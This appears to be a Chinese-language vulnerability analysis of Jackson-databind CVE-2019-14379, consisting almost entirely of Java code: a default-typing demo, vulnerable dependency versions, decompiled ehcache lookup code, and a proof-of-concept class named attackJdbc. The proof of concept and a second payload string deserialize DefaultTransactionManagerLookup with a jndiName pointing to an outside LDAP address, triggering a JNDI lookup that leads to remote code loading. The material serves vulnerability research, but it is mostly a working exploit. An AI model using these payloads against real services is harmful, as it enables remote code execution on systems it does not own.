分析jackjson的安全漏洞CVE-2019-14379

package com.test.JackSonTest;

public class Student{
    private String name;
    private Integer age;
    private Teacher teacher;

    public Student(){
        System.out.println("student构造方法被调用");
    };

    public String getName() {
        System.out.println(11111);
        return name;
    }

    public void setName(String name) {
        System.out.println(2222);
        this.name = name;

    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Teacher getTeacher() {
        return teacher;
    }

    public void setTeacher(Teacher teacher) {
        this.teacher = teacher;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", teacher=" + teacher +
                '}';
    }
}

@Test
    public void test2() throws IOException {
        //序列化 对象转json字符串
        Student student = new Student();
        student.setName("jack");
        student.setAge(20);
        student.setTeacher(new Teacher("lua",33));
        ObjectMapper objectMapper = new ObjectMapper();
        //序列化JSON串时，在值上打印出对象类型
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String result = objectMapper.writeValueAsString(student);
        System.out.println(result);
        //反序列化 json字符串转对象
        String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
        Student stu = objectMapper.readValue(jsonResult, Student.class);
        System.out.println(stu);
    }

<dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.8</version>
        </dependency>


        <dependency>
            <groupId>net.sf.ehcache</groupId>
            <artifactId>ehcache</artifactId>
            <version>2.10.6</version>
        </dependency>

        <dependency>
            <groupId>javax</groupId>
            <artifactId>javaee-api</artifactId>
            <version>6.0</version>
        </dependency>

public void setProperties(Properties properties) {
        if (properties != null) {
            String jndiName = properties.getProperty("jndiName");
            if (jndiName != null) {
                this.defaultJndiSelector.setJndiName(jndiName);
            }
        }

    }

public DefaultTransactionManagerLookup() {
        this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
    }

private final JndiSelector defaultJndiSelector = new GenericJndiSelector();

public TransactionManager getTransactionManager() {
        if (this.selector == null) {
            this.lock.lock();

            try {
                if (this.selector == null) {
                    this.lookupTransactionManager();
                }
            } finally {
                this.lock.unlock();
            }
        }

        return this.selector.getTransactionManager();
    }

Selector[] var1 = this.transactionManagerSelectors;
        int var2 = var1.length;

public TransactionManager getTransactionManager() {
        if (this.transactionManager == null) {
            this.transactionManager = this.doLookup();
        }

        return this.transactionManager;
    }

protected TransactionManager doLookup() {
        InitialContext initialContext;
        try {
            initialContext = new InitialContext();
        } catch (NamingException var14) {
            LOG.debug("cannot create initial context", var14);
            return null;
        }

        try {
            TransactionManager var3;
            try {
                Object jndiObject = initialContext.lookup(this.getJndiName());
                if (jndiObject instanceof TransactionManager) {
                    var3 = (TransactionManager)jndiObject;
                    return var3;
                }

Object jndiObject = initialContext.lookup(this.getJndiName());

package com.test.JackSonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer;


import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;

public class attackJdbc {
    public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
        ObjectMapper objectMapper =new ObjectMapper();
        Class.forName("org.jdom.transform.XSLTransformer");
        Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
        Object o = objectMapper.readValue(json2, Object.class);
        objectMapper.writeValueAsString(o);
    }
}

 String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";